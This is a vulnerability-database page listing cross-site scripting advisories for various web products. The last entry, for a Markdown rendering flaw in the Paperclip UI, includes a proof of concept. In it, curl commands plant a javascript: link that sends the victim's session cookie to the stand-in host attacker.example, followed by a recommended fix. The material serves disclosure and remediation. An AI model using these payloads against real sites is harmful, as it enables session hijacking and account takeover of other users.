CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
69746 vulnerabilities reference this CWE, most recent first.
GHSA-FPQJ-QCW8-HRX5
Vulnerability from github – Published: 2024-10-06 15:32 – Updated: 2026-04-01 18:32Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Catch Themes Full frame allows Stored XSS.This issue affects Full frame: from n/a through 2.7.2.
{
"affected": [],
"aliases": [
"CVE-2024-44010"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-06T13:15:11Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (XSS or \u0027Cross-site Scripting\u0027) vulnerability in Catch Themes Full frame allows Stored XSS.This issue affects Full frame: from n/a through 2.7.2.",
"id": "GHSA-fpqj-qcw8-hrx5",
"modified": "2026-04-01T18:32:00Z",
"published": "2024-10-06T15:32:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44010"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Theme/full-frame/vulnerability/wordpress-full-frame-theme-2-7-2-cross-site-scripting-xss-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/full-frame/wordpress-full-frame-theme-2-7-2-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-FPQP-V323-44XV
Vulnerability from github – Published: 2019-08-16 14:01 – Updated: 2021-08-17 20:42Policy import functionality in Apache Ranger 0.7.0 to 1.2.0 is vulnerable to a cross-site scripting issue. Upgrade to 2.0.0 or later version of Apache Ranger with the fix.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.2.0"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.ranger:ranger"
},
"ranges": [
{
"events": [
{
"introduced": "0.7.0"
},
{
"fixed": "2.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-12397"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2019-08-09T15:38:43Z",
"nvd_published_at": "2019-08-08T18:15:00Z",
"severity": "MODERATE"
},
"details": "Policy import functionality in Apache Ranger 0.7.0 to 1.2.0 is vulnerable to a cross-site scripting issue. Upgrade to 2.0.0 or later version of Apache Ranger with the fix.",
"id": "GHSA-fpqp-v323-44xv",
"modified": "2021-08-17T20:42:32Z",
"published": "2019-08-16T14:01:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12397"
},
{
"type": "WEB",
"url": "https://cwiki.apache.org/confluence/display/RANGER/Vulnerabilities+found+in+Ranger"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/ab2de1adad96f5dbd19d976b28715dfc60dbe75e82a74f48be8ef695@%3Cdev.ranger.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/cbc6346708ef2b9ffb2555637311bf6294923c609c029389fa39de8f@%3Cdev.ranger.apache.org%3E"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2019/08/08/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Cross-site scripting in Apache Ranger"
}
GHSA-FPQR-XH4C-M49C
Vulnerability from github – Published: 2022-05-17 05:36 – Updated: 2025-04-11 03:53Multiple cross-site scripting (XSS) vulnerabilities in the story creation feature in Geeklog 1.8.0 allow remote attackers to inject arbitrary web script or HTML via the (1) code or (2) raw BBcode tags.
{
"affected": [],
"aliases": [
"CVE-2011-4647"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-11-30T19:55:00Z",
"severity": "MODERATE"
},
"details": "Multiple cross-site scripting (XSS) vulnerabilities in the story creation feature in Geeklog 1.8.0 allow remote attackers to inject arbitrary web script or HTML via the (1) code or (2) raw BBcode tags.",
"id": "GHSA-fpqr-xh4c-m49c",
"modified": "2025-04-11T03:53:06Z",
"published": "2022-05-17T05:36:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4647"
},
{
"type": "WEB",
"url": "http://osvdb.org/76297"
},
{
"type": "WEB",
"url": "http://project.geeklog.net/cgi-bin/hgwebdir.cgi/geeklog/rev/fd3ca3aebf86"
},
{
"type": "WEB",
"url": "http://project.geeklog.net/tracking/view.php?id=1368"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/46348"
},
{
"type": "WEB",
"url": "http://www.geeklog.net/article.php/geeklog-1.8.1"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FPQV-X9HM-35J9
Vulnerability from github – Published: 2020-07-31 17:39 – Updated: 2024-06-03 18:36Impact
Kitodo.Presentation fails to properly encode URL parameters for output in HTML making it vulnerable to Cross Site Scripting (XSS). Only sites using the ListView, Navigation or PageView plugins are affected.
It also includes jQuery 3.4.1 which is known to be vulnerable against Cross Site Scripting, although there is currently no known way to exploit this in Kitodo.Presentation.
Patches
An updated version of Kitodo.Presentation is available on GitHub, Packagist and in the TYPO3 Extension Repository. Users are advised to update as soon as possible.
The issue was also fixed in release 2.3.1 of the 2.x branch, although it is generally not recommended to run this branch since it depends on an outdated TYPO3 version.
References
TYPO3 Security Advisory TYPO3-EXT-SA-2020-015 jQuery Security Advisory GHSA-gxr4-xjj5-5px2 Open Bug Bounty Report OBB-1219978
Contact
If you have any questions or comments about this advisory: * Open an issue * Email us at security@kitodo.org
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "kitodo/presentation"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-16095"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2020-07-30T15:07:04Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\nKitodo.Presentation fails to properly encode URL parameters for output in HTML making it vulnerable to Cross Site Scripting (XSS). Only sites using the `ListView`, `Navigation` or `PageView` plugins are affected.\n\nIt also includes jQuery 3.4.1 which is known to be vulnerable against Cross Site Scripting, although there is currently no known way to exploit this in Kitodo.Presentation.\n\n### Patches\nAn updated version of Kitodo.Presentation is available on [GitHub](https://github.com/kitodo/kitodo-presentation/releases/tag/v3.1.2), [Packagist](https://packagist.org/packages/kitodo/presentation#v3.1.2) and in the [TYPO3 Extension Repository](https://extensions.typo3.org/extension/dlf/). Users are advised to update as soon as possible.\n\nThe issue was also fixed in release 2.3.1 of the 2.x branch, although it is generally not recommended to run this branch since it depends on an outdated TYPO3 version.\n\n### References\nTYPO3 Security Advisory [TYPO3-EXT-SA-2020-015](https://typo3.org/security/advisory/typo3-ext-sa-2020-015)\njQuery Security Advisory [GHSA-gxr4-xjj5-5px2](https://github.com/jquery/jquery/security/advisories/GHSA-gxr4-xjj5-5px2)\nOpen Bug Bounty Report [OBB-1219978](https://www.openbugbounty.org/reports/1219978/)\n\n### Contact\nIf you have any questions or comments about this advisory:\n* [Open an issue](https://github.com/kitodo/kitodo-presentation/issues/new/choose)\n* Email us at [security@kitodo.org](mailto:security@kitodo.org)\n",
"id": "GHSA-fpqv-x9hm-35j9",
"modified": "2024-06-03T18:36:03Z",
"published": "2020-07-31T17:39:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kitodo/kitodo-presentation/security/advisories/GHSA-fpqv-x9hm-35j9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-16095"
},
{
"type": "WEB",
"url": "https://github.com/kitodo/kitodo-presentation/commit/6a67256388350cc69efa7f36bbaee50c919ca23c"
},
{
"type": "PACKAGE",
"url": "https://github.com/kitodo/kitodo-presentation"
},
{
"type": "WEB",
"url": "https://typo3.org/help/security-advisories"
},
{
"type": "WEB",
"url": "https://typo3.org/security/advisory/typo3-ext-sa-2020-015"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Cross-site Scripting vulnerability in Kitodo.Presentation"
}
GHSA-FPR2-HVVQ-5XH8
Vulnerability from github – Published: 2024-03-28 06:30 – Updated: 2024-08-28 18:31The Pz-LinkCard WordPress plugin through 2.5.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Cross-Site Scripting attacks even when unfiltered_html is disallowed
{
"affected": [],
"aliases": [
"CVE-2024-0673"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-28T05:15:49Z",
"severity": "MODERATE"
},
"details": "The Pz-LinkCard WordPress plugin through 2.5.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Cross-Site Scripting attacks even when unfiltered_html is disallowed",
"id": "GHSA-fpr2-hvvq-5xh8",
"modified": "2024-08-28T18:31:54Z",
"published": "2024-03-28T06:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0673"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/d80e725d-356a-4997-a352-33565e291fc8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FPR6-6G74-RGFM
Vulnerability from github – Published: 2024-03-14 00:31 – Updated: 2024-03-14 00:31The WPBakery Page Builder Addons by Livemesh plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'per_line_mobile' shortcode in all versions up to, and including, 3.8.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2024-2079"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-13T22:15:11Z",
"severity": "MODERATE"
},
"details": "The WPBakery Page Builder Addons by Livemesh plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin\u0027s \u0027per_line_mobile\u0027 shortcode in all versions up to, and including, 3.8.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-fpr6-6g74-rgfm",
"modified": "2024-03-14T00:31:06Z",
"published": "2024-03-14T00:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2079"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3048239%40addons-for-visual-composer\u0026new=3048239%40addons-for-visual-composer\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2c07b5c8-7fae-499d-9f6c-9392166f74b8?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FPV7-HX6R-9VCX
Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2026-06-10 18:45Cross Site Scripting (XSS) in Mezzanine v4.3.1 allows remote attackers to execute arbitrary code via the Description field of the component admin/blog/blogpost/add/. This issue is different than CVE-2018-16632.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Mezzanine"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "6.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-19002"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-29T14:27:01Z",
"nvd_published_at": "2021-08-27T19:15:00Z",
"severity": "MODERATE"
},
"details": "Cross Site Scripting (XSS) in Mezzanine v4.3.1 allows remote attackers to execute arbitrary code via the `Description` field of the component `admin/blog/blogpost/add/`. This issue is different than CVE-2018-16632.",
"id": "GHSA-fpv7-hx6r-9vcx",
"modified": "2026-06-10T18:45:51Z",
"published": "2022-05-24T19:12:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-19002"
},
{
"type": "WEB",
"url": "https://github.com/stephenmcd/mezzanine/issues/1921"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/mezzanine/PYSEC-2021-343.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/stephenmcd/mezzanine"
},
{
"type": "WEB",
"url": "https://github.com/stephenmcd/mezzanine/blob/v6.0.0/mezzanine/blog/templates/blog/blog_post_list.html#L112"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Mezzanine Cross Site Scripting (XSS) vulnerability"
}
GHSA-FPVX-G24W-MPGM
Vulnerability from github – Published: 2025-07-25 18:30 – Updated: 2025-07-25 21:33OpenCart version 4.1.0.4 is vulnerable to a Stored Cross-Site Scripting (XSS) attack via the blog editor. The vulnerability arises because input in the blog's editor is not properly sanitized or escaped before being rendered. This allows attackers to inject malicious JavaScript code
{
"affected": [],
"aliases": [
"CVE-2025-45892"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-25T17:15:32Z",
"severity": "MODERATE"
},
"details": "OpenCart version 4.1.0.4 is vulnerable to a Stored Cross-Site Scripting (XSS) attack via the blog editor. The vulnerability arises because input in the blog\u0027s editor is not properly sanitized or escaped before being rendered. This allows attackers to inject malicious JavaScript code",
"id": "GHSA-fpvx-g24w-mpgm",
"modified": "2025-07-25T21:33:49Z",
"published": "2025-07-25T18:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-45892"
},
{
"type": "WEB",
"url": "https://packetstorm.news/files/id/202886"
},
{
"type": "WEB",
"url": "https://www.opencart.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FPVX-H7CQ-JPHJ
Vulnerability from github – Published: 2025-11-06 18:32 – Updated: 2026-01-20 15:31Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in jegtheme Epic Review epic-review allows Reflected XSS.This issue affects Epic Review: from n/a through <= 1.0.2.
{
"affected": [],
"aliases": [
"CVE-2025-53573"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-06T16:15:56Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in jegtheme Epic Review epic-review allows Reflected XSS.This issue affects Epic Review: from n/a through \u003c= 1.0.2.",
"id": "GHSA-fpvx-h7cq-jphj",
"modified": "2026-01-20T15:31:48Z",
"published": "2025-11-06T18:32:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53573"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/epic-review/vulnerability/wordpress-epic-review-plugin-1-0-2-cross-site-scripting-xss-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/epic-review/vulnerability/wordpress-epic-review-plugin-1-0-2-cross-site-scripting-xss-vulnerability"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/epic-review/vulnerability/wordpress-epic-review-plugin-1-0-2-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FPW4-P57J-HQMQ
Vulnerability from github – Published: 2026-04-16 22:49 – Updated: 2026-04-16 22:49Summary
MarkdownBody, the shared component used to render every Markdown surface in the Paperclip UI (issue documents, issue comments, chat threads, approvals, agent details, export previews, etc.), passes urlTransform={(url) => url} to react-markdown. That override replaces react-markdown's built-in defaultUrlTransform — the library's only defense against javascript:/vbscript:/data: URL injection — with a no-op, and the custom a component then renders the unsanitized href directly. Any authenticated company member can plant [text](javascript:...) in an issue document or comment; when another member clicks the link, the script executes in the Paperclip origin with full access to the victim's session, enabling cross-user account takeover inside a tenant.
Details
1. Sink: MarkdownBody overrides url sanitization
ui/src/components/MarkdownBody.tsx:107-135 (custom anchor renderer) and ui/src/components/MarkdownBody.tsx:162 (Markdown element):
a: ({ href, children: linkChildren }) => {
const parsed = href ? parseMentionChipHref(href) : null;
if (parsed) { /* mention chip path, rewrites href */ }
return (
<a href={href} rel="noreferrer">
{linkChildren}
</a>
);
},
// ...
<Markdown remarkPlugins={[remarkGfm]} components={components} urlTransform={(url) => url}>
{children}
</Markdown>
react-markdown v10 ships defaultUrlTransform (see react-markdown source) which strips any URL whose scheme matches /^(javascript|vbscript|file|data(?!:image\/(?:gif|jpeg|jpg|png|webp)))/i. Passing urlTransform={(url) => url} replaces that defense with an identity function, so unsafe hrefs flow directly into the custom a renderer. React 19 only emits a dev-mode warning for javascript: hrefs — in production builds it renders them verbatim, and clicking the link executes the script in the current origin.
2. Source: unsanitized markdown bodies
server/src/routes/issues.ts:815-862 accepts issue document bodies:
router.put("/issues/:id/documents/:key", validate(upsertIssueDocumentSchema), async (req, res) => {
// ...
assertCompanyAccess(req, issue.companyId);
// ...
const result = await documentsSvc.upsertIssueDocument({
issueId: issue.id,
key: keyParsed.data,
title: req.body.title ?? null,
format: req.body.format,
body: req.body.body, // ← stored verbatim
// ...
});
packages/shared/src/validators/issue.ts:196-202:
export const upsertIssueDocumentSchema = z.object({
title: z.string().trim().max(200).nullable().optional(),
format: issueDocumentFormatSchema, // enum: ["markdown"]
body: z.string().max(524288), // no content validation
// ...
});
Only the format enum and a 512 KiB length cap are enforced; the body is persisted as-is. Comment bodies follow the same pattern — svc.addComment (server/src/routes/issues.ts:1639) stores a z.string().min(1) body (line 166 of the validator).
3. Rendering path
ui/src/components/IssueDocumentsSection.tsx:71-72:
function renderBody(body: string, className?: string) {
return <MarkdownBody className={className}>{body}</MarkdownBody>;
}
ui/src/components/CommentThread.tsx:372:
<MarkdownBody className="text-sm">{comment.body}</MarkdownBody>
The same sink is reused by IssueChatThread, ApprovalDetail, AgentDetail, CompanySkills, CompanyImport/CompanyExport, and RunTranscriptView. Every Markdown surface in the product inherits the vulnerability.
4. Authorization does not block cross-user reach
server/src/routes/authz.ts:18-31 (assertCompanyAccess) accepts any authenticated user whose companyIds includes the target companyId. There is no role check — a low-privilege company member can plant a payload against admins and owners who view the issue.
5. No compensating CSP
A repository-wide grep for Content-Security-Policy finds only two matches, both scoped to sandboxed export/preview responses (server/src/routes/assets.ts:328 and server/src/routes/issues.ts:2572). The main application HTML is served without any CSP, so the browser will happily navigate a javascript: href on click.
PoC
Prerequisites: two accounts in the same company (attacker and victim), an existing issue <ISSUE_ID>, the backend reachable on http://localhost:3000.
Step 1 — Attacker plants a malicious issue document:
curl -X PUT 'http://localhost:3000/api/issues/<ISSUE_ID>/documents/plan' \
-H 'Cookie: <attacker-session-cookie>' \
-H 'Content-Type: application/json' \
-d '{
"format": "markdown",
"body": "# Plan\n\n[Click for details](javascript:fetch(\"https://attacker.example/steal?c=\"+encodeURIComponent(document.cookie)))"
}'
Expected (verified): 201 Created with the persisted document JSON. upsertIssueDocumentSchema accepts the body because it is a valid markdown string under 524288 bytes.
Step 2 — Victim opens the issue:
The victim navigates to the issue in the browser. IssueDocumentsSection calls renderBody(doc.body) → <MarkdownBody>, which emits the DOM:
<a href="javascript:fetch("https://attacker.example/steal?c="+encodeURIComponent(document.cookie))" rel="noreferrer">Click for details</a>
Step 3 — Victim clicks the link:
The browser executes the javascript: URL in the Paperclip origin. The attacker's listener receives the victim's session cookie. From there the attacker can replay the cookie against any endpoint guarded by assertCompanyAccess to act as the victim — posting comments, transitioning issues, invoking approvals, reading agent keys the victim can read, etc.
Alternate vector — comments (same sink):
curl -X POST 'http://localhost:3000/api/issues/<ISSUE_ID>/comments' \
-H 'Cookie: <attacker-session-cookie>' \
-H 'Content-Type: application/json' \
-d '{"body":"[pwn](javascript:alert(document.cookie))"}'
CommentThread.tsx:372 renders comment.body through the same MarkdownBody sink, producing the same stored XSS without needing document-edit privileges.
Impact
- Cross-user stored XSS inside the tenant. A low-privilege company member can plant a payload that runs in any other member's session — including admins/owners — on click.
- Session hijack. The script executes on the Paperclip origin with access to
document.cookieand every in-browser API credential; a victim click immediately exfiltrates the session to an attacker-controlled host. - Privilege escalation. Because every
assertCompanyAccessroute accepts a valid session, a captured admin cookie grants full company admin on the API surface (agent keys, approvals, document edits, settings). - Tenant-wide blast radius. The same
MarkdownBodysink is used by issue documents, issue comments, issue chat, approvals, agent detail, company import/export, and run transcripts, so almost every user-visible text surface in the product is vulnerable. - Persistent. The payload lives in the document or comment record until explicitly deleted.
Recommended Fix
The minimum fix is to remove the urlTransform override in ui/src/components/MarkdownBody.tsx:162 and rely on react-markdown's defaultUrlTransform:
// ui/src/components/MarkdownBody.tsx
import Markdown, { defaultUrlTransform, type Components } from "react-markdown";
// ...
// Preserve mention-chip (paperclip-mention://) hrefs so parseMentionChipHref still runs,
// but fall back to the library's scheme allow-list for everything else.
function safeUrlTransform(url: string): string {
if (url.startsWith("paperclip-mention://")) return url;
return defaultUrlTransform(url);
}
<Markdown
remarkPlugins={[remarkGfm]}
components={components}
urlTransform={safeUrlTransform}
>
{children}
</Markdown>
defaultUrlTransform strips javascript:, vbscript:, file:, and non-image data: URIs, which closes this finding for every call site of MarkdownBody.
Defense-in-depth recommendations:
- Add a strict Content-Security-Policy header to the main app response (e.g.
script-src 'self' 'nonce-...') so that even a future regression cannot execute inline JS viajavascript:navigation. - Server-side validate document and comment bodies for obviously unsafe markdown patterns (e.g. reject
](javascript:sequences) as belt-and-braces. Do not rely on client-side sanitization alone, since other clients (mobile, exports) may render the same content. - Audit every existing component for other
urlTransform/skipHtml/rehype-rawoverrides that might reintroduce the same bypass.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@paperclipai/ui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.416.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T22:49:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`MarkdownBody`, the shared component used to render every Markdown surface in the Paperclip UI (issue documents, issue comments, chat threads, approvals, agent details, export previews, etc.), passes `urlTransform={(url) =\u003e url}` to `react-markdown`. That override replaces `react-markdown`\u0027s built-in `defaultUrlTransform` \u2014 the library\u0027s only defense against `javascript:`/`vbscript:`/`data:` URL injection \u2014 with a no-op, and the custom `a` component then renders the unsanitized href directly. Any authenticated company member can plant `[text](javascript:...)` in an issue document or comment; when another member clicks the link, the script executes in the Paperclip origin with full access to the victim\u0027s session, enabling cross-user account takeover inside a tenant.\n\n## Details\n\n### 1. Sink: MarkdownBody overrides url sanitization\n\n`ui/src/components/MarkdownBody.tsx:107-135` (custom anchor renderer) and `ui/src/components/MarkdownBody.tsx:162` (Markdown element):\n\n```tsx\na: ({ href, children: linkChildren }) =\u003e {\n const parsed = href ? parseMentionChipHref(href) : null;\n if (parsed) { /* mention chip path, rewrites href */ }\n return (\n \u003ca href={href} rel=\"noreferrer\"\u003e\n {linkChildren}\n \u003c/a\u003e\n );\n},\n// ...\n\u003cMarkdown remarkPlugins={[remarkGfm]} components={components} urlTransform={(url) =\u003e url}\u003e\n {children}\n\u003c/Markdown\u003e\n```\n\n`react-markdown` v10 ships `defaultUrlTransform` (see `react-markdown` source) which strips any URL whose scheme matches `/^(javascript|vbscript|file|data(?!:image\\/(?:gif|jpeg|jpg|png|webp)))/i`. Passing `urlTransform={(url) =\u003e url}` replaces that defense with an identity function, so unsafe hrefs flow directly into the custom `a` renderer. React 19 only emits a dev-mode warning for `javascript:` hrefs \u2014 in production builds it renders them verbatim, and clicking the link executes the script in the current origin.\n\n### 2. Source: unsanitized markdown bodies\n\n`server/src/routes/issues.ts:815-862` accepts issue document bodies:\n\n```ts\nrouter.put(\"/issues/:id/documents/:key\", validate(upsertIssueDocumentSchema), async (req, res) =\u003e {\n // ...\n assertCompanyAccess(req, issue.companyId);\n // ...\n const result = await documentsSvc.upsertIssueDocument({\n issueId: issue.id,\n key: keyParsed.data,\n title: req.body.title ?? null,\n format: req.body.format,\n body: req.body.body, // \u2190 stored verbatim\n // ...\n });\n```\n\n`packages/shared/src/validators/issue.ts:196-202`:\n\n```ts\nexport const upsertIssueDocumentSchema = z.object({\n title: z.string().trim().max(200).nullable().optional(),\n format: issueDocumentFormatSchema, // enum: [\"markdown\"]\n body: z.string().max(524288), // no content validation\n // ...\n});\n```\n\nOnly the `format` enum and a 512 KiB length cap are enforced; the body is persisted as-is. Comment bodies follow the same pattern \u2014 `svc.addComment` (`server/src/routes/issues.ts:1639`) stores a `z.string().min(1)` body (line 166 of the validator).\n\n### 3. Rendering path\n\n`ui/src/components/IssueDocumentsSection.tsx:71-72`:\n\n```tsx\nfunction renderBody(body: string, className?: string) {\n return \u003cMarkdownBody className={className}\u003e{body}\u003c/MarkdownBody\u003e;\n}\n```\n\n`ui/src/components/CommentThread.tsx:372`:\n\n```tsx\n\u003cMarkdownBody className=\"text-sm\"\u003e{comment.body}\u003c/MarkdownBody\u003e\n```\n\nThe same sink is reused by `IssueChatThread`, `ApprovalDetail`, `AgentDetail`, `CompanySkills`, `CompanyImport`/`CompanyExport`, and `RunTranscriptView`. Every Markdown surface in the product inherits the vulnerability.\n\n### 4. Authorization does not block cross-user reach\n\n`server/src/routes/authz.ts:18-31` (`assertCompanyAccess`) accepts any authenticated user whose `companyIds` includes the target `companyId`. There is no role check \u2014 a low-privilege company member can plant a payload against admins and owners who view the issue.\n\n### 5. No compensating CSP\n\nA repository-wide grep for `Content-Security-Policy` finds only two matches, both scoped to sandboxed export/preview responses (`server/src/routes/assets.ts:328` and `server/src/routes/issues.ts:2572`). The main application HTML is served without any CSP, so the browser will happily navigate a `javascript:` href on click.\n\n## PoC\n\nPrerequisites: two accounts in the same company (`attacker` and `victim`), an existing issue `\u003cISSUE_ID\u003e`, the backend reachable on `http://localhost:3000`.\n\n**Step 1 \u2014 Attacker plants a malicious issue document:**\n\n```bash\ncurl -X PUT \u0027http://localhost:3000/api/issues/\u003cISSUE_ID\u003e/documents/plan\u0027 \\\n -H \u0027Cookie: \u003cattacker-session-cookie\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"format\": \"markdown\",\n \"body\": \"# Plan\\n\\n[Click for details](javascript:fetch(\\\"https://attacker.example/steal?c=\\\"+encodeURIComponent(document.cookie)))\"\n }\u0027\n```\n\nExpected (verified): `201 Created` with the persisted document JSON. `upsertIssueDocumentSchema` accepts the body because it is a valid markdown string under 524288 bytes.\n\n**Step 2 \u2014 Victim opens the issue:**\n\nThe victim navigates to the issue in the browser. `IssueDocumentsSection` calls `renderBody(doc.body)` \u2192 `\u003cMarkdownBody\u003e`, which emits the DOM:\n\n```html\n\u003ca href=\"javascript:fetch(\u0026quot;https://attacker.example/steal?c=\u0026quot;+encodeURIComponent(document.cookie))\" rel=\"noreferrer\"\u003eClick for details\u003c/a\u003e\n```\n\n**Step 3 \u2014 Victim clicks the link:**\n\nThe browser executes the `javascript:` URL in the Paperclip origin. The attacker\u0027s listener receives the victim\u0027s session cookie. From there the attacker can replay the cookie against any endpoint guarded by `assertCompanyAccess` to act as the victim \u2014 posting comments, transitioning issues, invoking approvals, reading agent keys the victim can read, etc.\n\n**Alternate vector \u2014 comments (same sink):**\n\n```bash\ncurl -X POST \u0027http://localhost:3000/api/issues/\u003cISSUE_ID\u003e/comments\u0027 \\\n -H \u0027Cookie: \u003cattacker-session-cookie\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"body\":\"[pwn](javascript:alert(document.cookie))\"}\u0027\n```\n\n`CommentThread.tsx:372` renders `comment.body` through the same `MarkdownBody` sink, producing the same stored XSS without needing document-edit privileges.\n\n## Impact\n\n- **Cross-user stored XSS inside the tenant.** A low-privilege company member can plant a payload that runs in any other member\u0027s session \u2014 including admins/owners \u2014 on click.\n- **Session hijack.** The script executes on the Paperclip origin 